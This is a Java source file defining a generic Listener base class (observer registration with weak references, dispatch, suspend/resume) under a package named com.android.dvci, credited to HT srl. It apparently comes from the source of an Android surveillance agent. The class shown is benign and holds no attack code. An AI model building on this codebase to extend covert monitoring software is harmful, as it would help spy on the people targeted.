/* ********************************************** * Create by : Alberto "Q" Pelliccione * Company : HT srl * Project : AndroidService * Created : 20-apr-2011 **********************************************/ package com.android.dvci.listener; import com.android.dvci.auto.Cfg; import com.android.dvci.interfaces.Observer; import com.android.dvci.util.Check; import java.lang.ref.WeakReference; import java.util.ArrayList; import java.util.Iterator; import java.util.List; public abstract class Listener<U> { /** * The Constant TAG. */ private static final String TAG = "Listener"; //$NON-NLS-1$ protected List<WeakReference<Observer<U>>> observers; private boolean suspended; private Object suspendLock = new Object(); public Listener() { observers = new ArrayList<WeakReference<Observer<U>>>(); } public synchronized boolean attach(Observer<U> o) { // Object already in the stack for (Iterator<WeakReference<Observer<U>>> iterator = observers.iterator(); iterator.hasNext(); ) { WeakReference<Observer<U>> weakRef = iterator.next(); if (weakRef.get() == o) { return false; } } if (observers.isEmpty()) { start(); } observers.add(new WeakReference<Observer<U>>(o)); if (Cfg.DEBUG) { Check.log(TAG + " (attach): adding:"+o.hashCode()); } return true; } public synchronized void detach(Observer<U> o) { if (observers.isEmpty()) { return; } for (Iterator<WeakReference<Observer<U>>> iterator = observers.iterator(); iterator.hasNext(); ) { WeakReference<Observer<U>> weakRef = iterator.next(); if (weakRef.get() == o) { weakRef.clear(); if (Cfg.DEBUG) { Check.log(TAG + " (detach): removing:"+o.hashCode()); } iterator.remove(); } } if (observers.isEmpty()) { stop(); } } /** * dispatch, per ogni observer registrato viene chiamato il notification * * @param elem * @return */ int dispatch(U elem) { Object[] array; synchronized (this) { array = observers.toArray(); } int result = 0; for (final Object element : array) { @SuppressWarnings("unchecked") final WeakReference<Observer<U>> observer = (WeakReference<Observer<U>>) element; if(observer.get() != null) { result |= observer.get().notification(elem); } } return result; } public void suspend() { if (Cfg.DEBUG) { Check.log(TAG + " (suspend)"); //$NON-NLS-1$ } synchronized (suspendLock) { if (!suspended) { suspended = true; stop(); } else { if (Cfg.DEBUG) { Check.log(TAG + " (suspend): not suspended"); } } } } public void resume() { if (Cfg.DEBUG) { Check.log(TAG + " (resume)"); //$NON-NLS-1$ } synchronized (suspendLock) { if (suspended) { suspended = false; start(); } else { if (Cfg.DEBUG) { Check.log(TAG + " (resume): already suspended"); } } } } public boolean isSuspended() { synchronized (suspendLock) { return suspended; } } protected void setSuspended(boolean value) { if (Cfg.DEBUG) { Check.log(TAG + " (setSuspended): " + value); } synchronized (suspendLock) { suspended = value; } } protected abstract void start(); protected abstract void stop(); }